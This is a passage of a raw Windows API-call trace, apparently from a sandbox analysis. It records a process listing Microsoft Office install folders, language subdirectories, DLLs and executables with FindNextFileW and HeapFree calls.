	[0081.150] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0081.151] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.151] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0081.152] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.152] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0081.153] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.153] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0081.174] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.174] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0081.198] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.198] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1
	[0081.199] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.199] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0081.200] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.200] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0081.201] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.201] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0081.203] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.203] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0081.203] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.203] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0082.066] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.066] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1
	[0082.067] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.067] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1
	[0082.068] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.068] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0082.070] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.070] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1
	[0082.071] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.071] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1
	[0082.073] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.073] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0082.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.137] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0082.138] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.138] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0082.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.139] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0082.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.140] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0082.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.141] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1
	[0082.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.141] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1
	[0082.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.141] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0082.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.143] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0082.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.143] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1
	[0082.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.144] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0082.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.144] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0082.146] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.146] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0082.147] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.147] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0082.148] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.148] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0082.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0082.149] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0082.149] FindClose (in: hFindFile=0x811b08 | out: hFindFile=0x811b08) returned 1
	[0082.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.149] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1
	[0082.164] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0082.164] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1
	[0082.173] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.173] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1
	[0082.184] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0082.184] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1
	[0082.187] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.187] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0082.188] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.188] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0082.188] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0082.188] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1
	[0082.189] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
